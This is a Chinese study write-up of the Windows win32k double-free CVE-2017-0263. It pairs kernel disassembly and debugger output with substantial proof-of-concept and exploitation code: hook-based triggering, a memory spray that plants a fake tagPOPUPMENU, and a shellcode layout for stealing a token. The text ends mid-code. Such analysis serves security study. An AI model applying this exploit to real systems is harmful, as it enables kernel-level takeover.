CVE-2017-0263提权漏洞学习笔记

语言: CN / TW / HK

本文为看雪论坛精华文章
看雪论坛作者ID:1900

前言

1.漏洞描述

在win32k!xxxMNEndMenuState函数中,函数会调用MNFreePopup函数释放tagPOPUPMENU对象,但是函数释放对象以后,没有清空指针。而在弹出窗口过程中,用户可以劫持相应的处理函数来实现两次调用xxxMNEndMenuState函数,因为双重释放导致BSOD的产生。通过内存布局,可以伪装tagPOPUPMENU对象在释放的内存空间中,通过解引用修改窗口对象的关键的标志位,可以通过SendMessage函数让窗口在内核态执行指定的处理函数实现提权操作。

2.实验环境

  • 操作系统:Win7 x86 sp1 专业版

  • 编译器:Visual Studio 2017

  • 调试器:IDA Pro, WinDbg

漏洞分析

1.成因分析

图1是win32k!xxxMNEndMenuState函数与本漏洞有关的关键代码,共有三个关键的地方。

图1. xxxMNEndMenuState函数

全局变量gptiCurrent保存的是线程信息结构体tagTHREADINFO,该结构体偏移0x104处保存的是tagMENUSTATE结构体:

0: kd> dt win32k!tagTHREADINFO -r pMenuState
+0x104 pMenuState : Ptr32 tagMENUSTATE

tagMENUSTATE结构体定义了菜单的状态,该结构体偏移为0的地方,保存了弹出菜单结构体tagPOPUPMENU:

0: kd> dt win32k!tagMENUSTATE -r pGlobalPopupMenu
+0x000 pGlobalPopupMenu : Ptr32 tagPOPUPMENU

第一处的代码就是取出pGlobalPopupMenu,之后在第二处将其作为参数传入MNFreePopup函数。tagPOPUPMENU结构体定义如下,该结构体存储关联的弹出菜单相关的各个内核对象的指针:

0: kd> dt win32k!tagPOPUPMENU
+0x000 flags : Uint4B
+0x004 spwndNotify : Ptr32 tagWND
+0x008 spwndPopupMenu : Ptr32 tagWND
+0x00c spwndNextPopup : Ptr32 tagWND
+0x010 spwndPrevPopup : Ptr32 tagWND
+0x014 spmenu : Ptr32 tagMENU
+0x018 spmenuAlternate : Ptr32 tagMENU
+0x01c spwndActivePopup : Ptr32 tagWND
+0x020 ppopupmenuRoot : Ptr32 tagPOPUPMENU
+0x024 ppmDelayedFree : Ptr32 tagPOPUPMENU
+0x028 posSelectedItem : Uint4B
+0x02c posDropped : Uint4B

图2是MNFreePopup函数的反汇编结果,该函数的第二处代码会将传入的参数tagPopupMenu释放,可是释放之后,却没有把tagPopupMenu的指针置为空,如果再次进入该函数,就会对相同的内存进行释放,就会导致BSOD的产生。

图2 MNFreePopup函数反汇编

2.xxxTrackPopupMenuEx函数分析

漏洞的触发需要调用TrackPopupMenuEx函数,该函数通过调用内核函数xxxTrackPopupMenuEx函数实现,xxxTrackPopupMenuEx实现了很多功能,具体可以看参考链接中Leeqwind师傅的分析,这里只讲几个关键的步骤。

首先,函数会调用xxxCreateWindowEx创建类名"#32768"窗口:

.text:BF93F432                 xor     ecx, ecx
.text:BF93F434 push ecx ; int
.text:BF93F435 push 601h ; int
.text:BF93F43A push ecx ; int
.text:BF93F43B movzx ebx, ax
.text:BF93F43E mov eax, [ebp+P]
.text:BF93F441 push dword ptr [eax+24h] ; int
.text:BF93F444 and edx, 40000000h
.text:BF93F44A push ecx ; int
.text:BF93F44B shr ebx, 0Fh
.text:BF93F44E and ebx, 1
.text:BF93F451 neg edx
.text:BF93F453 sbb edx, edx
.text:BF93F455 and edx, eax
.text:BF93F457 push edx ; int
.text:BF93F458 push 64h ; int
.text:BF93F45A push 64h ; int
.text:BF93F45C push [ebp+yTop] ; int
.text:BF93F45F mov esi, 8000h
.text:BF93F464 push [ebp+xLeft] ; int
.text:BF93F467 push 80800000h ; int
.text:BF93F46C push ecx ; int
.text:BF93F46D push esi ; int
.text:BF93F46E push esi ; Str1
.text:BF93F46F push 181h ; int
.text:BF93F474 call _xxxCreateWindowEx@60 // 创建窗口
.text:BF93F479 mov edi, eax
.text:BF93F47B mov [ebp+var_pWnd], edi
.text:BF93F47E test edi, edi
.text:BF93F480 jnz short loc_BF93F489

在xxxCreateWindowEx函数中,在对创建的窗口成员赋值之后,就会调用xxxSendMessage向窗口发送WM_NCCREATE消息:

.text:BF89C81F                 lea     eax, [ebp+Dst]
.text:BF89C825 push eax ; Src
.text:BF89C826 push esi ; UnicodeString
.text:BF89C827 push WM_NCCREATE ; MbString
.text:BF89C82C push ebx ; P
.text:BF89C82D call _xxxSendMessage@16 ; xxxSendMessage(x,x,x,x)
.text:BF89C832 test eax, eax
.text:BF89C834 jnz loc_BF89C8CA

调用完xxxCreateWindowEx函数后,xxxTrackPopupMenuEx函数会调用xxxSetWindowPos函数将菜窗口显示到屏幕中:

.text:BF93F844                 mov     eax, [edi+4]
.text:BF93F847 shr eax, 8
.text:BF93F84A mov ecx, eax
.text:BF93F84C shl ecx, 4
.text:BF93F84F not ecx
.text:BF93F851 and ecx, 10h
.text:BF93F854 or ecx, 241h
.text:BF93F85A push ecx
.text:BF93F85B mov ecx, [ebp+P]
.text:BF93F85E xor ebx, ebx
.text:BF93F860 push ebx
.text:BF93F861 shr ecx, 10h
.text:BF93F864 push ebx
.text:BF93F865 movsx ecx, cx
.text:BF93F868 push ecx
.text:BF93F869 movsx ecx, word ptr [ebp+P]
.text:BF93F86D push ecx
.text:BF93F86E push ebx
.text:BF93F86F test al, 1
.text:BF93F871 pop eax
.text:BF93F872 setnz al
.text:BF93F875 dec eax
.text:BF93F876 push eax
.text:BF93F877 push [ebp+var_pWnd]
.text:BF93F87A call _xxxSetWindowPos@28

相关窗口位置和状态完成改变之后,xxxSetWindowPos函数会调用xxxEndDeferWindowPosEx函数:

.text:BF89E55A                 mov     ecx, [ebp+arg_18]
.text:BF89E55D and ecx, 4000h
.text:BF89E563 push ecx ; int
.text:BF89E564 push eax ; P
.text:BF89E565 call _xxxEndDeferWindowPosEx@8

xxxEndDeferWindowPosEx函数会继续调用xxxSendChangedMsgs函数:

.text:BF89E317                 push    edi
.text:BF89E318 call _xxxSendChangedMsgs@4

xxxSendChagedMsgs函数则根据SWP_HIDEWINDOW状态标志位来选择调用xxxRemoveShadow函数删除阴影窗口或调用xxxAddShadow函数来增加阴影窗口:

.text:BF889ACE                 test    byte ptr [esi+18h], SWP_HIDEWINDOW
.text:BF889AD2 jz short loc_BF889ADA
.text:BF889AD4 push edi
.text:BF889AD5 call _xxxRemoveShadow@4 // 删除阴影窗口
.text:BF889ADA
.text:BF889ADA loc_BF889ADA:
.text:BF889ADA test byte ptr [esi+18h], SWP_SHOWWINDOW
.text:BF889ADE push edi
.text:BF889ADF jz short loc_BF889AF2
.text:BF889AE1 call [email protected]4 ; ShouldHaveShadow(x)
.text:BF889AE6 test eax, eax
.text:BF889AE8 jz short loc_BF889B24
.text:BF889AEA push edi
.text:BF889AEB call _xxxAddShadow@4 // 增加阴影窗口

阴影窗口通过以下的结构体中的next指针连接,第一个结构体的地址保存在了全局变量gpshadowFirst中。

struct SHADOWWINDOW{
HWND hWnd; // 拥有阴影窗口的窗口句柄
HWND pwndShadow; // 阴影窗口的句柄
SHADOWWINDOW *next; // 下一个SHADOWWINDOW结构体的地址
};

在xxxAddShadow函数中,函数会首先申请0x0C大小的内存用来保存SHADOWWINDOW结构体:

.text:BF9445A3                 push    'dssU'          ; Tag
.text:BF9445A8 push 0Ch ; NumberOfBytes
.text:BF9445AA push PagedPoolSession ; PoolType
.text:BF9445AC call ds:[email protected] // 申请用来保存阴影窗口的结构体
.text:BF9445B2 mov edi, eax // 申请到的地址赋给edi

接着就会创建阴影窗口,从参数可以看出,阴影窗口没有自己的消息处理例程:

.text:BF944564                 xor     ebx, ebx
.text:BF9445D6 push ebx ; int
.text:BF9445D7 movzx eax, _gatomShadow
.text:BF9445DE push 601h ; int
.text:BF9445E3 push ebx ; int
.text:BF9445E4 push _hModuleWin ; int
.text:BF9445EA push ebx ; int
.text:BF9445EB push ebx ; int
.text:BF9445EC push ebx ; int
.text:BF9445ED push ebx ; int
.text:BF9445EE push ebx ; int
.text:BF9445EF push ebx ; int
.text:BF9445F0 push 80000000h ; int
.text:BF9445F5 push ebx ; int
.text:BF9445F6 push eax ; int
.text:BF9445F7 push eax ; Str1
.text:BF9445F8 push ecx ; int
.text:BF9445F9 call _xxxCreateWindowEx@60 // 创建阴影窗口
.text:BF9445FE mov esi, eax // 创建的窗口句柄赋给esi

在申请的内存将结构体的成员赋值,并将申请的结构体加入到全局变量gpshadowFirst所指的单向链表中,此时新增的阴影窗口就会是第一个。

.text:BF94466E                 mov     eax, _gpshadowFirst ; 将第一个阴影窗口地址赋给eax
.text:BF944673 mov [edi+8], eax ; 将窗口地址赋给Next
.text:BF944676 mov eax, [ebp+arg_0] ; 将窗口pwnd赋给eax
.text:BF944679 mov _gpshadowFirst, edi ; 将gpshadowFirst指向新申请的内存地址
.text:BF94467F mov [edi], eax ; 将eax赋给hWnd
.text:BF944685 mov [edi+4], esi ; 将创建的阴影窗口的句柄赋给pwndShadow

xxxRemoveShadow删除阴影窗口的功能,就会是从gpshadowFirst全局变量中找到第一个符合要求的阴影窗口,销毁阴影窗口,并将增加阴影窗口时候申请的用来保存信息的0x0C的内存释放掉。

.text:BF88D31C ; __stdcall xxxRemoveShadow(x)
.text:BF88D31C _xxxRemoveShadow@4 proc near
.text:BF88D31C arg_0 = dword ptr 8
.text:BF88D31C mov edi, edi
.text:BF88D31E push ebp
.text:BF88D31F mov ebp, esp
.text:BF88D321 xor eax, eax ; eax清0
.text:BF88D323 mov edx, offset _gpshadowFirst
.text:BF88D328 cmp _gpshadowFirst, eax ; 验证是否有阴影窗口
.text:BF88D32E jz short loc_BF88D35C
.text:BF88D330 push esi
.text:BF88D331
.text:BF88D331 loc_BF88D331:
.text:BF88D331 mov ecx, [edx] ; 将阴影窗口地址赋给ecx
.text:BF88D333 mov esi, [ecx] ; 取出阴影窗口的pwnd
.text:BF88D335 cmp esi, [ebp+arg_0] ; 判断是否是目标pwnd
.text:BF88D338 jz short loc_BF88D343 ; 是的话跳转到删除阴影窗口的代码执行
.text:BF88D33A lea edx, [ecx+8] ; 取出下一个阴影窗口的地址
.text:BF88D33D cmp [edx], eax ; 判断是否有下一个阴影窗口
.text:BF88D33F jz short loc_BF88D35B ; 没有则退出
.text:BF88D341 jmp short loc_BF88D331 ; 将阴影窗口地址赋给ecx
.text:BF88D343 ; ---------------------------------------------------------------------------
.text:BF88D343
.text:BF88D343 loc_BF88D343: ;
.text:BF88D343 mov esi, [ecx+4] ; 取出pwndShadow赋给esi
.text:BF88D346 push edi
.text:BF88D347 mov edi, [ecx+8] ; 取出下一个阴影窗口
.text:BF88D34A push eax ; Tag
.text:BF88D34B push ecx ; P
.text:BF88D34C mov [edx], edi ; 将阴影窗口从链表中去除
.text:BF88D34E call ds:__imp__ExFreePoolWithTag@8 ; 释放掉保存这块阴影窗口信息的内存
.text:BF88D354 push esi ; 传入要删除的阴影窗口的句柄,销毁掉窗口
.text:BF88D355 call _xxxDestroyWindow@4
.text:BF88D35A pop edi
.text:BF88D35B
.text:BF88D35B loc_BF88D35B:
.text:BF88D35B pop esi
.text:BF88D35C
.text:BF88D35C loc_BF88D35C:
.text:BF88D35C pop ebp
.text:BF88D35D retn 4
.text:BF88D35D [email protected]4 endp

xxxSetWindowPos执行完成后,xxxTrackPopupMenuEx函数会调用xxxWindowEvent函数发送EVENT_SYSTEM_MENUPOPUPSTART通知事件:

.text:BF93F8C9                 push    ebx
.text:BF93F8CA push ebx
.text:BF93F8CB push 0FFFFFFFCh
.text:BF93F8CD push [ebp+var_4]
.text:BF93F8D0 push EVENT_SYSTEM_MENUPOPUPSTART
.text:BF93F8D2 call _xxxWindowEvent@20

总结一下,xxxTrackPopupMenuEx函数会做的三件事情:

① 调用xxxCreateWindowEx创建类名为"#32768"的窗口,在创建过程中,会调用xxxSendMessage发送WM_NCCREATE消息;

② 调用xxxSetWindowPos将窗口显示到屏幕中,在此过程中会创建阴影窗口,阴影窗口没有自己的处理例程,在用户层可以对其完成设置;

③ 调用xxxWindowEvent函数发送EVENT_SYSTEM_MENUPOPUPSTART通知事件。

3.漏洞触发

在xxxTrackPopupMenuEx函数执行过程中,完成窗口创建以后,会发送WM_NCCREATE消息和EVENT_SYSTEM_MENUPOPUPSTART通知事件,而用户可以通过HOOK操作实现对这两个操作的劫持,执行用户想要的代码,触发上述存在的双重释放带来的BSOD,此时对消息和事件的劫持的代码如下:

BOOL POC_CVE_2017_0263()
{
BOOL bRet = TRUE;

HMODULE handle = NULL;

handle = GetModuleHandle(NULL);
if (!handle)
{
ShowError("GetModuleHandle", GetLastError());
bRet = FALSE;
goto exit;
}

HMENU hpopupMenu[2] = { 0 };

// 创建两个弹出菜单窗口
hpopupMenu[0] = CreatePopupMenu();
hpopupMenu[1] = CreatePopupMenu();

if (!hpopupMenu[0] || !hpopupMenu[1])
{
ShowError("CreatePopupMenu", GetLastError());
bRet = FALSE;
goto exit;
}

LPCSTR szMenuItem = "item";
MENUINFO mi = { 0 };

mi.cbSize = sizeof(mi);
mi.fMask = MIM_STYLE;
mi.dwStyle = MNS_AUTODISMISS | MNS_MODELESS | MNS_DRAGDROP;

// 设置创建的菜单的属性,让它们变成非模态对话框
if (!SetMenuInfo(hpopupMenu[0], &mi) ||
!SetMenuInfo(hpopupMenu[1], &mi))
{
ShowError("CreatePopupMenu", GetLastError());
bRet = FALSE;
goto exit;
}

// 为菜单添加菜单项,第二个窗口为第一个窗口子菜单
if (!AppendMenu(hpopupMenu[0], MF_BYPOSITION | MF_POPUP, (UINT_PTR)hpopupMenu[1], szMenuItem) ||
!AppendMenu(hpopupMenu[1], MF_BYPOSITION | MF_POPUP, 0, szMenuItem))
{
ShowError("AppendMenuA", GetLastError());
bRet = FALSE;
goto exit;
}

HWND hWindowMain = NULL;
WNDCLASSEX wc = { 0 };
char *szClassName = "WNDCLASSMAIN";

wc.cbSize = sizeof(wc);
wc.lpfnWndProc = DefWindowProc;
wc.hInstance = handle;
wc.lpszClassName = szClassName;

if (!RegisterClassEx(&wc))
{
ShowError("RegisterClassEx", GetLastError());
bRet = FALSE;
goto exit;
}

// 创建窗口为弹出菜单的拥有者
hWindowMain = CreateWindowEx(WS_EX_LAYERED |
WS_EX_TOOLWINDOW |
WS_EX_TOPMOST,
szClassName,
NULL,
WS_VISIBLE,
0,
0,
1,
1,
NULL,
NULL,
handle,
NULL);
if (!hWindowMain)
{
ShowError("CreateWindowEx", GetLastError());
bRet = FALSE;
goto exit;
}

// 设置消息HOOK
if (!SetWindowsHookEx(WH_CALLWNDPROC,
(HOOKPROC)WinHookProc_CVE_2017_0263,
handle,
GetCurrentThreadId()))
{
ShowError("SetWindowHookEx", GetLastError());
bRet = FALSE;
goto exit;
}

// 设置EVENT_SYSTEM_MENUPOPUPSTART事件处理函数
SetWinEventHook(EVENT_SYSTEM_MENUPOPUPSTART,
EVENT_SYSTEM_MENUPOPUPSTART,
handle,
WinEventProc_CVE_2017_0263,
GetCurrentProcessId(),
GetCurrentThreadId(),
0);

// 触发漏洞
if (!TrackPopupMenuEx(hpopupMenu[0], 0, 0, 0, hWindowMain, NULL))
{
ShowError("TrackPopupMenuEx", GetLastError());
bRet = FALSE;
goto exit;
}

MSG msg = { 0 };
while (GetMessage(&msg, NULL, 0, 0))
{
TranslateMessage(&msg);
DispatchMessage(&msg);
}

exit:
return bRet;
}

在执行的代码中就要实现两次调用xxxMNEndMenuState,该函数的调用可以通过发送MN_ENDMENU消息,以及NtUserMNDraLeave系统调用来实现。而在图1的第三处代码的最后,函数会将tagMENUSTATE的pmnsPrev赋值给tagTHREADINFO的pMenuState,pmnsPrev通常为0,一旦完成了这个设置,即使再次进入xxxMNEndMenuState,也会在第一处的代码的验证中跳过第二处代码,即跳过MNFreePopup函数的调用。

0: kd> dt win32k!tagMENUSTATE
+0x020 pmnsPrev : Ptr32 tagMENUSTATE

因此,需要在最后的赋值之前产生第二个函数的调用,而在赋值之前,函数会对tagMENUSTATE的uButtonDownHitArea调用UnlockMFMWFPWindow函数。

0: kd> dt win32k!tagMENUSTATE
+0x02c uButtonDownHitArea : Uint4B

uButtonDownHitArea成员保存着当前鼠标按下的坐标区域所属的窗口对象地址,UnlockMFMWFPWindow函数会对窗口对象进行释放,当计数为0的时候会销毁窗口,此时会销毁与该窗口关联的阴影窗口。此外,通过发送WM_ENDMENU消息销毁触发漏洞函数的时候,会删除两个阴影窗口。

综上,漏洞触发的思路如下,首先在消息处理例程中,会创建三个阴影窗口,且为第三个阴影窗口设置消息处理例程。

LRESULT CALLBACK WinHookProc_CVE_2017_0263(int code, WPARAM wParam, LPARAM lParam)
{
tagCWPSTRUCT *cwp = (tagCWPSTRUCT *)lParam;

if (cwp->message == WM_NCCREATE)
{
CHAR szTemp[0x20] = { 0 };

if (!GetClassName(cwp->hwnd, szTemp, 0x14))
{
ShowError("GetClassName", GetLastError());
}

if (strcmp(szTemp, "#32768") == 0)
{
g_hwndMenuHit_2017_0263 = cwp->hwnd;
}
else if (strcmp(szTemp, "SysShadow") == 0 && g_hwndMenuHit_2017_0263)
{
g_dwShadowCount_2017_0263++;

if (g_dwShadowCount_2017_0263 == 3)
{
// 为第三个阴影窗口设置处理函数
if (!SetWindowLong(cwp->hwnd,
GWL_WNDPROC,
(ULONG)ShowdowWinProc_CVE_2017_0263))
{
ShowError("SetWindowLong", GetLastError());
}
}
else
{
// 设置窗口先隐藏在显示,这样会创建阴影窗口
if (!SetWindowPos(g_hwndMenuHit_2017_0263, NULL, 0, 0, 0, 0,
SWP_NOSIZE | SWP_NOMOVE | SWP_NOZORDER | SWP_HIDEWINDOW) ||
!SetWindowPos(g_hwndMenuHit_2017_0263, NULL, 0, 0, 0, 0,
SWP_NOSIZE | SWP_NOMOVE | SWP_NOZORDER | SWP_SHOWWINDOW))
{
ShowError("SetWindowPos", GetLastError());
}
}
}
}

return CallNextHookEx(0, code, wParam, lParam);
}

在事件处理例程中,第一次进入的时候会发送WM_LBUTTONDOW消息,这样uButtonDowHitArea成员域就会存传当前鼠标按下的区域所属的窗口对象,系统在处理WM_LBUTTONDOWN消息的时候,会再次进入到事件处理例程中,此时就通过发送MN_ENDMENU消息来调用xxxMNEndMenuState函数。

VOID CALLBACK WinEventProc_CVE_2017_0263(HWINEVENTHOOK hWinEventHook,
DWORD event,
HWND hwnd,
LONG idObject,
LONG idChild,
DWORD idEventThread,
DWORD dwmsEventTime)
{
if (++g_dwCount_2017_0263 >= 2)
{
// 发送销毁菜单消息
SendMessage(hwnd, MN_ENDMENU, 0, 0);
}
else
{
// 发生鼠标左键按下消息
SendMessage(hwnd, WM_LBUTTONDOWN, 1, 0x00020002); // (2,2)
}
}

在处理MN_ENDMUEN消息过程中,会删除两个阴影窗口,当xxxMNEndMenuState函数执行到图1中第三处对uButtonDownHitArea调用UnlockMFMWFPWindow函数的时候,又会删除第三个阴影窗口,就会触发为阴影窗口设置的处理函数。在处理函数中,通过NtUserMNDraLeave函数来再次调用xxxMNEndMenuState函数。

LRESULT WINAPI ShowdowWinProc_CVE_2017_0263(HWND hwnd, UINT msg, WPARAM wParam, LPARAM lParam)
{
// 销毁阴影窗口的时候再次触发漏洞
if (msg == WM_NCDESTROY)
{
CallNtUserMNDraLeave();
}

return DefWindowProc(hwnd, msg, wParam, lParam);
}

void __declspec(naked) CallNtUserMNDraLeave()
{
__asm
{
mov eax, 0x11EC // NtUserMNDraLeave调用号
int 0x2E
ret
}
}

在xxxMNEndMenuState函数中下断点,编译运行POC,可以看到第一次是由发送WM_ENDMENU消息来调用函数:

3: kd> ba e1 win32k!xxxMNEndMenuState
3: kd> g
Breakpoint 0 hit
win32k!xxxMNEndMenuState:
83745fd2 8bff mov edi,edi
0: kd> kb
# ChildEBP RetAddr Args to Child
00 91849b0c 8373f03f 00000001 fea13cb0 000001f3 win32k!xxxMNEndMenuState
01 91849b54 836b94f3 fea10cd0 000001f3 00000000 win32k!xxxMenuWindowProc+0xcc1
02 91849b94 83679709 fea13cb0 000001f3 00000000 win32k!xxxSendMessageTimeout+0x1ac
03 91849bbc 83686330 fea13cb0 000001f3 00000000 win32k!xxxWrapSendMessage+0x1c
04 91849bd8 836bb4cd fea13cb0 000001f3 00000000 win32k!NtUserfnNCDESTROY+0x27
05 91849c10 83e7d1ea 0002017c 000001f3 00000000 win32k!NtUserMessageCall+0xc9

第二次就是通过NtUserMNDraLeave来调用的:

0: kd> g
Breakpoint 0 hit
win32k!xxxMNEndMenuState:
83745fd2 8bff mov edi,edi
0: kd> kb
# ChildEBP RetAddr Args to Child
00 977e1c08 8377f0f8 00000001 977e1c34 8376e834 win32k!xxxMNEndMenuState
01 977e1c14 8376e834 8381f580 0012fb78 7420a970 win32k!xxxUnlockMenuState+0x20
02 977e1c24 8375c779 7420a970 83e7d1ea 0012fb78 win32k!xxxMNDragLeave+0x45
03 977e1c2c 83e7d1ea 0012fb78 004014a7 badb0d00 win32k!NtUserMNDragLeave+0xd

继续向下运行,就会因为释放已经被释放的内存产生BSOD错误。

漏洞利用

想要不产生BSOD错误,就需要在第二处释放之前,构造数据填入释放的内存。这里通过SetClassLong函数实现,该函数定义如下:

DWORD SetClassLong(HWND hWnd,
int nIndex,
LONG dwNewLong);

当第二个参数为GCL_MENUNAME的时候,函数会将第三个参数指定的数据写入到第一个参数指定的窗口的成员中。要找到这些数据,首先要获取第一个参数的窗口的pcls:

1: kd> dt win32k!tagWND
+0x064 pcls : Ptr32 tagCLS

pcls对应的是tagCLS结构体,该结构体的lpszMenuName保存的地址就保存了调用SetClassLong时指定的第三个参数中的数据。

2: kd> dt win32k!tagCLS
+0x050 lpszMenuName : Ptr32 Uint2B

因此,在触发漏洞之前需要先创建一些窗口:

        DWORD i = 0;

// 创建用于后面填充释放的内存
for (i = 0; i < 0x100; i++)
{
WNDCLASSEX Class = { 0 };
CHAR szTemp[20] = { 0 };
HWND hwnd = NULL;

wsprintf(szTemp, "%x-%d", rand(), i);
Class.cbSize = sizeof(WNDCLASSEXA);
Class.lpfnWndProc = DefWindowProc;
Class.cbWndExtra = 0;
Class.hInstance = handle;
Class.lpszMenuName = NULL;
Class.lpszClassName = szTemp;
if (!RegisterClassEx(&Class))
{
ShowError("RegisterClassEx", GetLastError());
continue;
}
hwnd = CreateWindowEx(0,
szTemp,
NULL,
WS_OVERLAPPED,
0, 0, 0, 0,
NULL,
NULL,
handle,
NULL);
if (!hwnd)
{
ShowError("CreateWindowEx", GetLastError());
continue;
}
g_hWindowList_2017_0263[g_dwWindowCount_2017_0263++] = hwnd;
}

这样,当第二次调用xxxMNEndMenuState函数的时候,就可以通过伪造的数据来防止BSOD的产生。

                TAGPOPUPMENU tagPopupMenu = { 0 };

tagPopupMenu.flags = 0x00098208;
tagPopupMenu.spwndNotify = (DWORD)g_pvHeadFake_2017_0263;
tagPopupMenu.spwndPopupMenu = (DWORD)g_pvHeadFake_2017_0263;
tagPopupMenu.spwndNextPopup = (DWORD)g_pvHeadFake_2017_0263;
tagPopupMenu.spwndPrevPopup = (DWORD)g_pvAddrFlags_2017_0263 - 4;
tagPopupMenu.spmenu = (DWORD)g_pvHeadFake_2017_0263;
tagPopupMenu.spmenuAlternate = (DWORD)g_pvHeadFake_2017_0263;
tagPopupMenu.spwndActivePopup = (DWORD)g_pvHeadFake_2017_0263;
tagPopupMenu.ppopupmenuRoot = 0xFFFFFFFF;
tagPopupMenu.ppmDelayedFree = (DWORD)g_pvHeadFake_2017_0263;
tagPopupMenu.posSelectedItem = 0xFFFFFFFF;
tagPopupMenu.psDropped = (DWORD)g_pvHeadFake_2017_0263;
tagPopupMenu.dwReserve = 0;

// 其中某一块会占用上一次释放的内存块
for (DWORD i = 0; i < g_dwWindowCount_2017_0263; i++)
{
SetClassLongW(g_hWindowList_2017_0263[i], GCL_MENUNAME, (DWORD)&tagPopupMenu);
}

// 再次释放内存,导致bServerSideWindowProc标志位置位
CallNtUserMNDraLeave();

但是,从图2可以看到,在释放tagPOPUPMENU之前,会对其成员进行解引用,所以伪装的数据所指向的地址应当符合窗口对象的要求,此时就通过创建一个新得窗口,并为其设置扩展区域,伪造的tagPOPUPMENU中的成员指向的就是扩展区域,通过设置扩展区域中的数据来让伪造的tagPOPUPMENU中的成员所指的窗口有效。

        WNDCLASSEX wc = { 0 };
char *szClassName = "WNDCLASSHUNT";

wc.cbSize = sizeof(wc);
wc.lpszClassName = szClassName;
wc.cbWndExtra = 0x200;
wc.lpfnWndProc = DefWindowProc;
wc.hInstance = handle;

if (!RegisterClassEx(&wc))
{
ShowError("RegisterClassEx", GetLastError());
bRet = FALSE;
goto exit;
}

g_hWindowHunt_2017_0263 = CreateWindowEx(WS_EX_LEFT,
szClassName,
NULL,
WS_OVERLAPPED,
0, 0, 1, 1,
NULL,
NULL,
handle,
NULL);
if (!g_hWindowHunt_2017_0263)
{
ShowError("CreateWindowEx", GetLastError());
bRet = FALSE;
goto exit;
}

PTHRDESKHEAD head = (PTHRDESKHEAD)HMValidateHandle(g_hWindowHunt_2017_0263, TYPE_WINDOW);

// 预留4字节
PBYTE pbExtra = (PBYTE)head->pSelf + 0xB0 + 4;

// 用来赋值伪造的tagPOPUPMENU
g_pvHeadFake_2017_0263 = pbExtra + 0x44;

// 将剩余内存空间的内容保存为扩展空间的首地址
for (i = 1; i <= 0x80; i++)
{
SetWindowLongW(g_hWindowHunt_2017_0263, sizeof(DWORD) * i, (DWORD)pbExtra);
}

PVOID pti = head->h.pti;

// 伪装tagPOPUPMENU中的窗口的成员
SetWindowLongW(g_hWindowHunt_2017_0263, 0x28, 0);
SetWindowLongW(g_hWindowHunt_2017_0263, 0x50, (LONG)pti); // pti
SetWindowLongW(g_hWindowHunt_2017_0263, 0x6C, 0);
SetWindowLongW(g_hWindowHunt_2017_0263, 0x1F8, 0xC033C033);
SetWindowLongW(g_hWindowHunt_2017_0263, 0x1FC, 0xFFFFFFFF);

想要完成提权操作,需要ShellCode在内核模式下执行,这里需要用到bServerSideWindowProc标志位:

0: kd> dt win32k!tagWND
+0x000 head : _THRDESKHEAD
+0x014 state : Uint4B
+0x014 bDialogWindow : Pos 16, 1 Bit
+0x014 bHasCreatestructName : Pos 17, 1 Bit
+0x014 bServerSideWindowProc : Pos 18, 1 Bit
+0x014 bDestroyed : Pos 31, 1 Bit
+0x018 state2 : Uint4B

当调用SendMessage向窗口发送消息的时候,内核会通过xxxSendMessageTimeout来实现功能,而在该函数中,会判断bServerSideWindowProc是否置位,如果置为则会调用指定的消息处理例程。

.text:BF8B94C0                 test    byte ptr [esi+16h], 4 ; tagWND->bServerSideWindowProc
.text:BF8B94C8 jz short loc_BF8B9505

.text:BF8B94E8 push [ebp+Src]
.text:BF8B94EB push dword ptr [ebp+UnicodeString]
.text:BF8B94EE push ebx
.text:BF8B94EF push esi
.text:BF8B94F0 call dword ptr [esi+60h] ; call tagWND->lpfnWndProc

.text:BF8B9505 push 0 ; int
.text:BF8B9507 push 0 ; int
.text:BF8B9509 push [ebp+Src] ; Src
.text:BF8B950C push dword ptr [ebp+UnicodeString] ; UnicodeString
.text:BF8B950F push ebx ; MbString
.text:BF8B9510 push esi ; P
.text:BF8B9511 call _xxxSendMessageToClient@28

所以,在伪造的tagPOPUPMENU对象的spwndPrevPopup成员赋值为bServerSideWindowProc标志位偏移-4的地址,这样在图2的第一处的代码中成员进行解引用的时候,会将偏移为4的clockObj减一,这样就会将bServerSideWindowProc置位。

// 获取关键标志位的地址
g_pvAddrFlags_2017_0263 = (PVOID)((DWORD)head->pSelf + 0x16);

// 指定窗口的消息处理例程
SetWindowLongW(g_hWindowHunt_2017_0263, GWL_WNDPROC, (DWORD)pvShellCode->pfnWinProc);

因此,第二次释放内存之后,就会将bServerSideWindowProc置位,这样对窗口发送消息后,就会在内核模式下执行ShellCode实现提权。

// 再次释放内存,导致bServerSideWindowProc标志位置位
CallNtUserMNDraLeave();

// 发送消息执行ShellCode
DWORD dwRet = SendMessageW(g_hWindowHunt_2017_0263, 0x9F9F, g_dwPopupMenuRoot_2017_0263, 0);

但这里有个问题,第二次释放的伪造的tagPOPUOMENU内存在线程退出的时候,程序会对它进行释放,此时因为漏洞的第二次释放的时候已经释放过这块内存了,就导致线程退出时候的释放是一块已经被释放的内存,就会造成BSOD的产生:

因此,在执行ShellCode的时候,应当把tagCLS的lpszMenuName成员清空。此时的ShellCode是以结构体的形式定义的,定义如下,其中成员pfnWinProc保存了要执行的ShellCode,tagCLS保存了上面创建的大量窗口的tagCLS:

typedef struct _SHELLCODE {
DWORD reserved; // 0x0
DWORD pid; // 0x4
DWORD off_CLS_lpszMenuName; // 0x8
DWORD off_THREADINFO_ppi; // 0xC
DWORD off_EPROCESS_ActiveLink; // 0x10
DWORD off_EPROCESS_Token; // 0x14
PVOID tagCLS[0x100]; // 0x18
BYTE pfnWinProc[0xBE8]; // 0x418
}SHELLCODE, *PSHELLCODE;

此时通过以下代码就可以指定向窗口发送消息时候,在内核模式下执行ShellCode,同时在ShellCode的上方保存了要用到的数据。

        PSHELLCODE pvShellCode = (PSHELLCODE)VirtualAlloc(NULL,
PAGE_SIZE,
MEM_COMMIT | MEM_RESERVE,
PAGE_EXECUTE_READWRITE);

if (!pvShellCode)
{
ShowError("VirtualAlloc", GetLastError());
bRet = FALSE;
goto exit;
}

ZeroMemory(pvShellCode, PAGE_SIZE);
pvShellCode->pid = GetCurrentProcessId();
pvShellCode->off_CLS_lpszMenuName = 0x50;
pvShellCode->off_THREADINFO_ppi = 0x0B8;
pvShellCode->off_EPROCESS_ActiveLink = 0x0B8;
pvShellCode->off_EPROCESS_Token = 0x0F8;

CopyMemory(pvShellCode->pfnWinProc, ShellCode_CVE_2017_0263, 0xBE0);

lHMValidateHandle HMValidateHandle = (lHMValidateHandle)GetHMValidateHandle();
if (!HMValidateHandle)
{
bRet = FALSE;
goto exit;
}

// 保存tagCLS的地址
